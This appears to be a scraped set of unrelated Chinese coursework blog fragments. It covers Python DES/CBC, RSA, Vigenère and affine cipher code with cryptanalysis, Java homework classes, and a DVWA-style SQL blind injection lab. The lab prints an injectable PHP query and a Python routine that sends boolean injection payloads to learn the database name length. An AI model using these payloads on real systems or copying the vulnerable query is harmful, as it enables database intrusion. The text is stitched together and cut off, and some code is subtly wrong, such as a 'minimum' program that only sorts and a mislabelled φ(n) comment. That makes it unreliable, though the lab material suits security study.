#初始IP置换def begin_change(st): #置换表 change_list = [58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7] res ="" for i in change_list: res+=st[i-1] #因为列表是1-64，而数组是0-63，所以减一return res#IP逆置换def mov_IP(st): res = "" ip_list = [40,8,48,16,56,24,64,32,39,7,47,15,55,23,63,31,38,6,46,14,54,22,62,30,37,5,45,13,53,21,61,29,36,4,44,12,52,20,60,28,35,3,43,11,51,19,59,27,34,2,42,10,50,18,58,26,33,1,41,9,49,17,57,25] for i in ip_list: res += st[i-1]return res
加解密封装
加密：#封装64位加密def DESenc_test(mes,key): mes_bin = strtobin(mes)#明文转二进制 mes_IP = begin_change(mes_bin)#IP置换 key_bin = strtobin(key)#密钥转二进制 key_list = key_gen(key_bin)#生成子密钥 mes_left = mes_IP[0:32]#明文分两组32位 mes_right = mes_IP[32:] for i in range(0,15):#16轮F函数迭代 mes_tmp = mes_right right_f_res = funcF(mes_right,key_list[i]) mes_right = xor(right_f_res,mes_left) mes_left = mes_tmp fin_right = mes_right fin_left = xor(funcF(mes_right,key_list[15]),mes_left) fin = fin_left+fin_right fin = mov_IP(fin)#IP逆置换return fin#返回密文解密：#封装64位解密def DESdec_test(cipher,key): #密文直接输64位2进制 #cipher = strtobin(str) key_bin = strtobin(key) key_list = key_gen(key_bin) cipher = begin_change(cipher) i = 15 cipher_left = cipher[0:32] cipher_right = cipher[32:] while i>0: cipher_tmp = cipher_right cipher_right = xor(cipher_left,funcF(cipher_right,key_list[i])) cipher_left = cipher_tmp i = i -1 fin_left = xor(cipher_left,funcF(cipher_right,key_list[0])) fin_right = cipher_right fin = fin_left+fin_right fin = mov_IP(fin) my_plain = "" for j in range(0,len(fin),8): my_plain += chr(int(fin[j:j+8],2))return my_plain
运行结果
loL50s.png
CBC工作模式DES加密
设计思路
对于DES分组加密，每次加密完的结果与下一组的明文进行异或，这就是CBC（密码分组链接模式）。
loLxB9.png
代码实现
这里采用的初始向量是“aaaaaaaa”.
#cbc模式下加密def cbc_desenc(mes,key): IV="aaaaaaaa" res="" i=0 cns="" while mes[i:i+8]!="": if i==0: res+=DESenc_test(bintostr(xor(strtobin(IV),strtobin(mes[i:i+8]))),key) cns=DESenc_test(bintostr(xor(strtobin(IV),strtobin(mes[i:i+8]))),key) else: res+=DESenc_test(bintostr(xor(cns,strtobin(mes[i:i+8]))),key) cns=DESenc_test(bintostr(xor(cns,strtobin(mes[i:i+8]))),key) i=i+8return res#cbc模式下解密def cbc_desdec(cipher,key): res="" IV="aaaaaaaa" i=0 cns="" while cipher[i:i+64]!="": if i==0: res+=bintostr(xor(strtobin(DESdec_test(cipher[i:i+64],key)),strtobin(IV))) cns=cipher[i:i+64] else: res+=bintostr(xor(strtobin(DESdec_test(cipher[i:i+64],key)),cns)) cns=cipher[i:i+64] i=i+64return res
#二进制转字符串def bintostr(st): res="" l=int(len(st)/8) for i in range(l): res+=chr(int(st[i*8:i*8+8],2)) return res#字符串转二进制def strtobin(st): res = "" for i in st: tmp = bin(ord(i))[2:] for i in range(0,8-len(tmp)): tmp = '0'+tmp res+=tmp return res#循环左移def zuoyiwei(st,num): my = st[num:len(st)] my = my+st[0:num] return my#异或def xor(str1,str2): res = "" for i in range(0,len(str1)): xor_res = int(str1[i],10)^int(str2[i],10) if xor_res == 1: res +='1' else: res +='0' return res#PC-1盒def key_change_1(st): key1_list = [57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4] #得到56位，去掉校验位 res = "" for i in key1_list: res+=st[i-1] return res#PC-2盒def key_change_2(st): key2_list = [14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32] #压缩置换 #去掉9，18，22，25，35，38，43，54位得到48位 res = "" for i in key2_list: res+=st[i-1] return res#16轮迭代生成子密钥def key_gen(st): key_list = []#子密钥表 key_change_res = key_change_1(st) #PC-1置换分成C，D两块 key_c = key_change_res[0:28] key_d = key_change_res[28:] for i in range(1,17): #共16轮 if (i==1) or (i==2) or (i==9) or (i==16):#按轮数循环左移 key_c = zuoyiwei(key_c,1) key_d = zuoyiwei(key_d,1) else: key_c = zuoyiwei(key_c,2) key_d = zuoyiwei(key_d,2) key_yiwei = key_c+key_d #压缩置换 key_res = key_change_2(key_yiwei) key_list.append(key_res) return key_list#初始IP置换def begin_change(st): #置换表 change_list = [58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7] res ="" for i in change_list: res+=st[i-1] #因为列表是1-64，而数组是0-63，所以减一 return res#E盒扩展置换，将32位输出扩展至48位def box_e(st): #E盒置换表 e_list = [32,1,2,3,4,5,4,5,6,7,8,9,8,9,10,11,12,13,12,13,14,15,16,17,16,17,18,19,20,21,20,21,22,23,24,25,24,25,26,27,28,29,28,29,30,31,32,1] res = "" for i in e_list: res +=st[i-1] return res#S盒代换盒def box_s(st): j = 0 #8个S盒代换表 s_list = [[14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7,0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8,4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13], [15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10,3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9], [10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8,13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7,1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12], [7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4,3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14], [2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14,11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3], [12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11,10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8,9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6,4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13], [4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1,13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6,1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2,6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12], [13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7,1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2,7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11]] res = "" for i in range(0,len(st),6):#6位输入，4位输出 begin_s = st[i:i+6] row = int(begin_s[0]+begin_s[5],2) col = int(begin_s[1:5],2) num = bin(s_list[j][row*16+col])[2:] for padd in range(0,4-len(num)): num = "0"+num res += num j = j+1 return res#P盒置换def box_p(st): res = "" p_list = [16,7,20,21,29,12,28,17,1,15,23,26,5,18,31,10,2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25] for i in p_list: res +=st[i-1] return res#封装成F函数def funcF(st,key): str_e_res = box_e(st) xor_res = xor(str_e_res,key) str_s_res = box_s(xor_res) str_p_res = box_p(str_s_res) return str_p_res#IP逆置换def mov_IP(st): res = "" ip_list = [40,8,48,16,56,24,64,32,39,7,47,15,55,23,63,31,38,6,46,14,54,22,62,30,37,5,45,13,53,21,61,29,36,4,44,12,52,20,60,28,35,3,43,11,51,19,59,27,34,2,42,10,50,18,58,26,33,1,41,9,49,17,57,25] for i in ip_list: res += st[i-1] return res#封装64位加密def DESenc_test(mes,key): mes_bin = strtobin(mes)#明文转二进制 mes_IP = begin_change(mes_bin)#IP置换 key_bin = strtobin(key)#密钥转二进制 key_list = key_gen(key_bin)#生成子密钥 mes_left = mes_IP[0:32]#明文分两组32位 mes_right = mes_IP[32:] for i in range(0,15):#16轮F函数迭代 mes_tmp = mes_right right_f_res = funcF(mes_right,key_list[i]) mes_right = xor(right_f_res,mes_left) mes_left = mes_tmp fin_right = mes_right fin_left = xor(funcF(mes_right,key_list[15]),mes_left) fin = fin_left+fin_right fin = mov_IP(fin)#IP逆置换 return fin#返回密文#Alice_bobdef DESenc_ab(mes,key): mes_bin = strtobin(mes)#明文转二进制 mes_IP = begin_change(mes_bin)#IP置换 key_bin = key#密钥转二进制 key_list = key_gen(key_bin)#生成子密钥 mes_left = mes_IP[0:32]#明文分两组32位 mes_right = mes_IP[32:] for i in range(0,15):#16轮F函数迭代 mes_tmp = mes_right right_f_res = funcF(mes_right,key_list[i]) mes_right = xor(right_f_res,mes_left) mes_left = mes_tmp fin_right = mes_right fin_left = xor(funcF(mes_right,key_list[15]),mes_left) fin = fin_left+fin_right fin = mov_IP(fin)#IP逆置换 return fin#返回密文#封装64位解密def DESdec_test(cipher,key): #密文直接输64位2进制 #cipher = strtobin(str) key_bin = strtobin(key) key_list = key_gen(key_bin) cipher = begin_change(cipher) i = 15 cipher_left = cipher[0:32] cipher_right = cipher[32:] while i>0: cipher_tmp = cipher_right cipher_right = xor(cipher_left,funcF(cipher_right,key_list[i])) cipher_left = cipher_tmp i = i -1 fin_left = xor(cipher_left,funcF(cipher_right,key_list[0])) fin_right = cipher_right fin = fin_left+fin_right fin = mov_IP(fin) my_plain = "" for j in range(0,len(fin),8): my_plain += chr(int(fin[j:j+8],2)) return my_plain#alice_bobdef DESdec_ab(cipher,key): #密文直接输64位2进制 #cipher = strtobin(str) key_bin = key key_list = key_gen(key_bin) cipher = begin_change(cipher) i = 15 cipher_left = cipher[0:32] cipher_right = cipher[32:] while i>0: cipher_tmp = cipher_right cipher_right = xor(cipher_left,funcF(cipher_right,key_list[i])) cipher_left = cipher_tmp i = i -1 fin_left = xor(cipher_left,funcF(cipher_right,key_list[0])) fin_right = cipher_right fin = fin_left+fin_right fin = mov_IP(fin) my_plain = "" for j in range(0,len(fin),8): my_plain += chr(int(fin[j:j+8],2)) return my_plain#DES加密def DESenc(mes,key): res = "" i = 0 while mes[i:i+8] != "": res += DESenc_test(mes[i:i+8],key) i = i+8 return res#alice_bobdef DESenc_a(mes,key): res = "" res += DESenc_ab(mes,key) return res#DES解密def DESdec(cipher,key): res = "" i = 0 while cipher[i:i + 64] != "": res += DESdec_test(cipher[i:i + 64], key) i = i + 64 return res#cbc模式下加密def cbc_desenc(mes,key): IV="aaaaaaaa" res="" i=0 cns="" while mes[i:i+8]!="": if i==0: res+=DESenc_test(bintostr(xor(strtobin(IV),strtobin(mes[i:i+8]))),key) cns=DESenc_test(bintostr(xor(strtobin(IV),strtobin(mes[i:i+8]))),key) else: res+=DESenc_test(bintostr(xor(cns,strtobin(mes[i:i+8]))),key) cns=DESenc_test(bintostr(xor(cns,strtobin(mes[i:i+8]))),key) i=i+8 return res#cbc模式下解密def cbc_desdec(cipher,key): res="" IV="aaaaaaaa" i=0 cns="" while cipher[i:i+64]!="": if i==0: res+=bintostr(xor(strtobin(DESdec_test(cipher[i:i+64],key)),strtobin(IV))) cns=cipher[i:i+64] else: res+=bintostr(xor(strtobin(DESdec_test(cipher[i:i+64],key)),cns)) cns=cipher[i:i+64] i=i+64 return res#maindef main(): m = input("Please enter your plaintext:\n\t") lm = len(m) # 若不是8的倍数，则用0填充 lm_mod = lm % 8 if lm_mod != 0: FillLength = 8 - lm_mod m += FillLength * "0"#padding lm += FillLength k = input("Please enter your key:\n\t") c_t=bintostr(DESenc(m,k)) print("DES:\n\t",c_t) print("CBC_DES:\n\t",bintostr(cbc_desenc(m,k))) '''c = input("Please enter your ciphertext:\n\t") k_1 = input("Please enter your key:\n\t") print(DESdec(strtobin(c),k_1))''' print("DES解密\n\t",DESdec(DESenc(m,k),k)) c2= input("Please enter your cbc_ciphertext:\n\t") k_2=input("Please enter your key:\n\t") print(cbc_desdec(cbc_desenc(m,k),k_2))if __name__ == '__main__':main()实验四RSA加密import randomdef FastMod(x, n, m): a = 1 b = x while True: temp = n if n % 2 == 1 : a = a * b % m b = b * b % m n = n//2 if temp < 1 : return adef computeD(e, phi_n): (x, y, r) = extendedGCD(phi_n, e) if y < 0: return phi_n + y return ydef extendedGCD(a, b): if b == 0: return (1, 0, a) x1 = 1 y1 = 0 x2 = 0 y2 = 1 while b != 0: q = a // b r = a % b a = b b = r x = x1 - q*x2 x1 = x2 x2 = x y = y1 - q*y2 y1 = y2 y2 = y return(x1, y1, a)def str2Hex(m): return "".join("{:02x}".format(ord(x)) for x in m)# 素性检验：采用 Miler-Rabin 检验法def miller_rabin(n,k=80): if n == 2 or n == 3: return True if n % 2 == 0: return False r, s = 0, n - 1 while s % 2 == 0: r += 1 s //= 2 for _ in range(k): a = random.randrange(2, n - 1) x = pow(a, s, n) if x == 1 or x == n - 1: continue for _ in range(r - 1): x = pow(x, 2, n) if x == n - 1: break else: return False return True# 生成 b 位的素数def genPrime(b=1024): while True: # the highest bit is 1 ans = "1" for i in range(b-2): ans += str(random.randint(0,1)) # the lowest bit is 1 ans += "1" ans = int(ans,2) if miller_rabin(ans): return ansdef genE(phi_n): while True: e = genPrime(b=random.randint(3,13)) if e == 3 or e == 5: continue if phi_n%e != 0: return edef RSAEncrypt(m,n,e): m = int(str2Hex(m),16) c = pow(m,e,n) return cdef RSADecrypt(c,d,n): m = pow(c,d,n) m = bytes.fromhex('{:x}'.format(m)) return mdef main(): # 生成两个大素数p和q print ("Generate p and q ......") p = genPrime() q = genPrime() print ("p = "+str(p)) print ("q = "+str(q)) # 计算n = p*q n = p*q print ("n = "+str(n)) # 计算φ(n) = p*q phi_n = (p-1)*(q-1) print ("\nGenerate e ......") # 生成一个和φ(n)互素的数e e = genE(phi_n) print ("e = "+str(e)) m = "Hello world!" # 加密算法 print ("\n"+8*"*"+" Encryption "+8*"*") Ciphertext = RSAEncrypt(m,n,e) print ("The Ciphertext is:\n\t"+str(Ciphertext)) # 解密算法 print ("\n"+8*"*"+" Decryption "+8*"*") # 使用私钥d，d是e模φ(n)的逆 d = computeD(e,phi_n) print ("d = "+str(d)) Plaintext = RSADecrypt(Ciphertext,d,n) print ("The Plaintext is:\n\t"+str(Plaintext))if __name__ == '__main__':main()
def VigenereEncrypt(m,k): k = k.upper() lm = len(m) lk = len(k) j = 0 ans = "" for i in range(lm): if m[i].isupper(): ans += chr(((ord(m[i])-ord('A'))%26+(ord(k[j%lk])-ord('A'))%26)%26+ord('A')) j += 1 elif m[i].islower(): ans += chr(((ord(m[i])-ord('a'))%26+(ord(k[j%lk])-ord('A'))%26)%26+ord('a')) j += 1 else: ans += m[i]return ans
解密算法
def VigenereDecrypt(c,k): k = k.upper() lc = len(c) lk = len(k) j = 0 ans = "" for i in range(lc): if c[i].isupper(): ans += chr(((ord(c[i])-ord('A'))%26+26-(ord(k[j%lk])-ord('A'))%26)%26+ord('A')) j += 1 elif c[i].islower(): ans += chr(((ord(c[i])-ord('a'))%26+26-(ord(k[j%lk])-ord('A'))%26)%26+ord('a')) j += 1 else: ans += c[i]return ans
def chzs(input): #定义重合指数法 num_list = [0]*26 for i in range(0,len(input)): ord_input = ord(input[i])-97 num_list[ord_input] +=1 n = len(input) res = 0 for i in range(0,26): res += num_list[i]*(num_list[i]-1) return float(res)/((n)*n)def len_key(input):#计算密钥长度 may_d = 0 index_d = 0 for d in range(1,10): str_list = [""] * d for i in range(0,len(input)): str_list[i%d] += input[i] ch_sum = 0 ch_time = 0 for k in range(0, len(str_list)): if str_list[k] !="": ch_sum += chzs(str_list[k]) ch_time +=1 print(chzs(str_list[k])) print(str_list[k]) print(d) k1 = abs(ch_sum / ch_time - 0.065) k2 = abs(may_d - 0.065) if k1<k2: #取最接近0.065的 may_d = ch_sum / ch_time index_d = dreturn index_d
def xd_d(input): #相对位移 #pi频率表 pi=[0.082,0.015,0.028,0.043,0.127,0.022,0.02,0.061,0.07,0.002,0.008,0.04,0.024,0.067,0.075,0.019,0.001,0.06,0.063,0.091,0.028,0.01,0.023,0.001,0.02,0.001] print(pi) key_len = len_key(input) print("密钥长度：",key_len) d_list = [0]*key_len #weiyi = [0]*key_len str_list = [""]*key_len#根据密钥长度分组 for i in range(0,len(input)): str_list[i%key_len] += input[i] for i in range(0,key_len):#查看分组结果和计算每个分组长度 print(str_list[i],"长度：",len(str_list[i])) d_list[i]=len(str_list[i]) for i in range(0,key_len):#找第i组的相对位移 num_list_i = [0] * 26#每个字母出现的次数 for k in str_list[i]:#计算i组每个字母出现次数 i_c = ord(k) - 97 num_list_i[i_c] += 1 may_mc=0 may_d=0 for j in range(0,26):#位移长度 mc=0 for l in range(0,26):#计算最接近0.065的互重合指数 mc+=pi[l]*float(num_list_i[(l+j)%26]/d_list[i]) if(abs(mc-0.065)<=abs(may_mc-0.065)): may_mc=mc may_d=j print(i,"组：",may_mc,chr(97+may_d))
def BruteAffineDecrypt(c): for k1 in range(26): if gcd(k1,26) == 1: for k2 in range(26): print ("k1 = "+str(k1).zfill(2)+", k2 = "+str(k2).zfill(2)+": "+AffineDecrypt(c,k1,k2))
def pinlv(input): num_list = [0]*26 for i in range(0,len(input)): ord_input = ord(input[i])-97 num_list[ord_input] +=1 n = len(input) x=[] y=[] for i in range(0,26): x.append(chr(97+i)) y.append(float(num_list[i]/n)) plt.bar(x, y, 0.4, color="green") plt.xlabel("Letters") plt.ylabel("Frequency") plt.title("Frequency analysis")plt.show()
lantnf.png
完整代码
维吉尼亚加解密
def VigenereEncrypt(m,k): k = k.upper() lm = len(m) lk = len(k) j = 0 ans = "" for i in range(lm): if m[i].isupper(): ans += chr(((ord(m[i])-ord('A'))%26+(ord(k[j%lk])-ord('A'))%26)%26+ord('A')) j += 1 elif m[i].islower(): ans += chr(((ord(m[i])-ord('a'))%26+(ord(k[j%lk])-ord('A'))%26)%26+ord('a')) j += 1 else: ans += m[i] return ans# Decryptiondef VigenereDecrypt(c,k): k = k.upper() lc = len(c) lk = len(k) j = 0 ans = "" for i in range(lc): if c[i].isupper(): ans += chr(((ord(c[i])-ord('A'))%26+26-(ord(k[j%lk])-ord('A'))%26)%26+ord('A')) j += 1 elif c[i].islower(): ans += chr(((ord(c[i])-ord('a'))%26+26-(ord(k[j%lk])-ord('A'))%26)%26+ord('a')) j += 1 else: ans += c[i] return ans# Main functiondef main(): while True: op = input("What do you want to do?\n[E]Encryption [D]Decryption\n").upper() if op[0] == "E": s = input("Please enter your plaintext:\n\t") k = input("Please enter your key:\n\t") # s = "plaintext" # k = "key" print (8*"*"+" Encryption "+8*"*") Encryption = VigenereEncrypt(s,k) print ("The Ciphertext is:\n\t"+Encryption) break elif op[0] == "D": s = input("Please enter your ciphertext:\n\t") k = input("Please enter your key:\n\t") # s = "ciphertext" # k = "key" print (8*"*"+" Decryption "+8*"*") Decryption = VigenereDecrypt(s,k) print ("The Plaintext is:\n\t"+Decryption) break else: continueif __name__ == '__main__':main()
重合指数
def chzs(input): #定义重合指数法 num_list = [0]*26 for i in range(0,len(input)): ord_input = ord(input[i])-97 num_list[ord_input] +=1 n = len(input) res = 0 for i in range(0,26): res += num_list[i]*(num_list[i]-1) return float(res)/((n)*n)def len_key(input):#计算密钥长度 may_d = 0 index_d = 0 for d in range(1,10): str_list = [""] * d for i in range(0,len(input)): str_list[i%d] += input[i] ch_sum = 0 ch_time = 0 for k in range(0, len(str_list)): if str_list[k] !="": ch_sum += chzs(str_list[k]) ch_time +=1 print(chzs(str_list[k])) print(str_list[k]) print(d) k1 = abs(ch_sum / ch_time - 0.065) k2 = abs(may_d - 0.065) if k1<k2: #取最接近0.065的 may_d = ch_sum / ch_time index_d = d return index_ddef xd_d(input): #相对位移 #pi频率表 pi=[0.082,0.015,0.028,0.043,0.127,0.022,0.02,0.061,0.07,0.002,0.008,0.04,0.024,0.067,0.075,0.019,0.001,0.06,0.063,0.091,0.028,0.01,0.023,0.001,0.02,0.001] print(pi) key_len = len_key(input) print("密钥长度：",key_len) d_list = [0]*key_len #weiyi = [0]*key_len str_list = [""]*key_len#根据密钥长度分组 for i in range(0,len(input)): str_list[i%key_len] += input[i] #print("****",len(d_list)) for i in range(0,key_len):#查看分组结果和计算每个分组长度 print(str_list[i],"长度：",len(str_list[i])) d_list[i]=len(str_list[i]) #sll = len(str_list) for i in range(0,key_len):#找第i组的相对位移 num_list_i = [0] * 26#每个字母出现的次数 for k in str_list[i]:#计算i组每个字母出现次数 i_c = ord(k) - 97 num_list_i[i_c] += 1 may_mc=0 may_d=0 for j in range(0,26):#位移长度 mc=0 for l in range(0,26):#计算最接近0.065的互重合指数 mc+=pi[l]*float(num_list_i[(l+j)%26]/d_list[i]) if(abs(mc-0.065)<=abs(may_mc-0.065)): may_mc=mc may_d=j #print(mc) print(i,"组：",may_mc,chr(97+may_d)) returndef main(): s=input("Please enter your ciphertext:\n\t") xd_d(s)if __name__ == '__main__':main()
仿射频率分析
import numpy as npimport matplotlib.mlab as mlabimport matplotlib.pyplot as pltdef pinlv(input): num_list = [0]*26 for i in range(0,len(input)): ord_input = ord(input[i])-97 num_list[ord_input] +=1 n = len(input) x=[] y=[] for i in range(0,26): x.append(chr(97+i)) y.append(float(num_list[i]/n)) plt.bar(x, y, 0.4, color="green") plt.xlabel("Letters") plt.ylabel("Frequency") plt.title("Frequency analysis") plt.show()def main(): s = input("Please enter your ciphertext:\n\t") pinlv(s)if __name__ == '__main__':main()
仿射暴力破解
def gcd(a,b): if a%b == 0: return b return gcd(b,a%b)def findModReverse(a,m): if gcd(a,m)!=1: return None u1,u2,u3 = 1,0,a v1,v2,v3 = 0,1,m while v3!=0: q = u3//v3 v1,v2,v3,u1,u2,u3 = (u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3 return u1%mdef AffineDecrypt(c,k1,k2): k2 %= 26 if gcd(k1,26) != 1: print("k1 and 26 are not mutually prime, and decryption fails.") return k1 = findModReverse(k1,26) l = len(c) ans = "" for i in range(l): if c[i].isupper(): ans += chr((k1*(ord(c[i])-ord('A')+26-k2))%26+ord('A')) elif c[i].islower(): ans += chr((k1*(ord(c[i])-ord('a')+26-k2))%26+ord('a')) else: ans += c[i] return ansdef BruteAffineDecrypt(c): for k1 in range(26): if gcd(k1,26) == 1: for k2 in range(26): print ("k1 = "+str(k1).zfill(2)+", k2 = "+str(k2).zfill(2)+": "+AffineDecrypt(c,k1,k2))def main(): s = input("Please enter your plaintext:\n\t") print (7 * "*" + " Attack " + 7 * "*") BruteAffineDecrypt(s)if __name__ == '__main__':main()
package hw3;public class animal { static int sum=0; public animal() { } public void show() { System.out.println("动物园一共有"+sum+"只动物"); }}
dog类
package hw3;public class dog extends animal{ static int dog_sum=0; public dog() { } public void show() { super.sum++; dog_sum++; System.out.println("我是狗，是第"+dog_sum+"只狗"); super.show(); }}
cat类
package hw3;public class cat extends animal{ static int cat_sum=0; public cat() { } public void show() { super.sum++; cat_sum++; System.out.println("我是猫，是第"+cat_sum+"只猫"); super.show(); }}
pig类
package hw3;public class pig extends animal{ static int pig_sum=0; public pig() { } public void show() { super.sum++; pig_sum++; System.out.println("我是猪，是第"+pig_sum+"只猪"); super.show(); }}
package hw3;public class one { public int cyc(int x,int y) { while(x%y!=0) { int s=x%y; x=y; y=s; } return y; } public int rec(int x,int y) { if(x%y==0) return y; else return rec(y,x%y); } public static void main(String[] args) { one o=new one(); int m,n; m=56; n=91; System.out.println(o.cyc(m,n)); System.out.println(o.rec(m,n)); }}
问题2、
编写一个完整的Java Application程序，其中设计一个复数类Complex，利用它验证两个复数 1+2i 和3+4i 相加产生一个新的复数 4+6i 。复数类Complex的设计必须满足如下要求： 1）Complex 的属性有： realPart：int型，代表复数的实数部分； maginPart：int型，代表复数的虚数部分。 2）Complex 的方法有： Complex()：构造方法，将复数的实部和虚部都置0； Complex(int r , int i )：构造方法，形参 r 为实部的初值，i为虚部的初值。 3）Complex complexAdd(Complex a)：将当前复数对象与形参复数对象相加，最后的结果仍是一个复数对象，返回给此方法的调用者。 4）String toString(): 把当前复数对象的实部、虚部组合成 a+bi 的字符串形式，其中a 和 b分别为实部和虚部的数据。
package hw3;public class complex { int rp,mp; public complex() { rp=mp=0; } public complex(int i,int j) { rp=i; mp=j; } public complex complexadd(complex a) { this.rp=this.rp+a.rp; this.mp=this.mp+a.mp; return this; } public String toString() { String s=rp+"+"+mp+"i"; return s; } public static void main(String[] args) { complex c1=new complex(2,3); complex c2=new complex(4,5); c1.complexadd(c2); System.out.println(c1.toString()); }}
package hw3;public class person { int id; String name,gender; public person() { } public person(int id,String name) { this.id=id; this.name=name; } public void revise_id(int id) { this.id=id; } public void revise_name(String name) { this.name=name; } public int get_id() { return this.id; } public String get_name() { return this.name; }}
teacher类
package hw3;public class teacher extends person { String faculty; public teacher() { } public teacher(int id,String name,String faculty) { super(id,name); this.faculty=faculty; } public void revise_facilty(String Faculty) { this.faculty=faculty; } public String get_faculty() { return this.faculty; }}
student类
package hw3;public class student extends person { String class_number; public student(int id,String name,String class_number) { super(id,name); this.class_number=class_number; } public void revise_class_number(String class_number) { this.class_number=class_number; } public String get_class_number() { return this.class_number; }}
classes类
package hw3;public class classes { String class_name; student student_list[]; int student_number; teacher teacher; public classes(String class_name,teacher tec) { this.class_name=class_name; this.teacher=tec; } public void set_student_list(student student_list[],int student_number) { this.student_list=student_list; this.student_number=student_number; } public void print_student_list() { System.out.println("班级名称是："+"\t"+this.class_name); System.out.println("任课教师是："+"\t"+this.teacher.name); System.out.println("学生名单如下："); int i; for(i=0;i<this.student_number;i++) { System.out.println("\t"+"姓名："+"\t"+this.student_list[i].name+"\t"+"学号:"+"\t"+this.student_list[i].id); } }}
package hw2;import java.util.*;public class two { public static void main(String[] args) { Scanner s=new Scanner(System.in); System.out.println("请输入月份"); int m; while(true) { m=s.nextInt(); if(m==0) { System.out.println("输入结束"); break; } switch(m) { case 1:System.out.println("January");break; case 2:System.out.println("February");break; case 3:System.out.println("March");break; case 4:System.out.println("April");break; case 5:System.out.println("May");break; case 6:System.out.println("June");break; case 7:System.out.println("July");break; case 8:System.out.println("August");break; case 9:System.out.println("September");break; case 10:System.out.println("October");break; case 11:System.out.println("November");break; case 12:System.out.println("December");break; default:System.out.println("非法字符");break; } } }}
QSrJPg.png
问题3、
打印图案：一个由n行星花组成的三角形。如n=5时的图案为：
package hw2;import java.util.*;public class three { public static void main(String[] args) { Scanner s=new Scanner(System.in); int n; System.out.println("请输入行数"); n=s.nextInt(); int x,y,z; for(x=1;x<=n;x++) { for(y=1;y<=n-x;y++) { System.out.print(" "); } for(z=1;z<=x;z++) { System.out.print("* "); } System.out.println(); } }}
package hw2;public class six { public static void main(String[] args) { int x; int sum=0; for(x=10000;x<=99999;x++) { if(x%10==6&&x%3==0) { sum++; } } System.out.println("个位数是6，并且能被3整除的五位数共有"+sum+"个"); }}
QSsKW4.png
问题7、
编写一个程序，在其中建立一个有10个整数的数组，运行后从键盘输入10个数，然后输出其中的最小数。
package hw2;import java.util.*;public class seven { public static void main(String[] args) { Scanner s=new Scanner(System.in); System.out.println("请输入10个数"); int a[]=new int[10]; int i; for(i=0;i<10;i++) { a[i]=s.nextInt(); } Arrays.sort(a); for(i=0;i<10;i++) { System.out.print(a[i]+"\t"); } }}
<?phpif( isset( $_GET[ 'Submit' ] ) ) { // Get input $id = $_GET[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
User ID exists in the database.与 User ID is MISSING from the database.
所以这里是SQL盲注漏洞。
漏洞利用
输入1 ，发现
输入 1’， 发现
观察到他这里只会出现正确或者错误的两种页面，判定他是一个布尔盲注
获取数据库长度
def get_database_length(self): self.database_length = 0 for i in range(1,30): self.process('get_database_length',i,30) theurl = self.url + "1' and length(database())={0}%23".format(str(i)) + "&Submit=Submit#" html = self.s.get(theurl,headers=self.headers).text if self.check(html): self.database_length = i break if self.database_length > 0: print('\n==>',self.database_length) else: print("\ncan not get the database_length")
运行结果：
MGOfVP.png
检查页面是否正常
def check(self,text): if "User ID exists in the database." in text: return True elif "User ID is MISSING from the database." in text: return False
获取数据库名
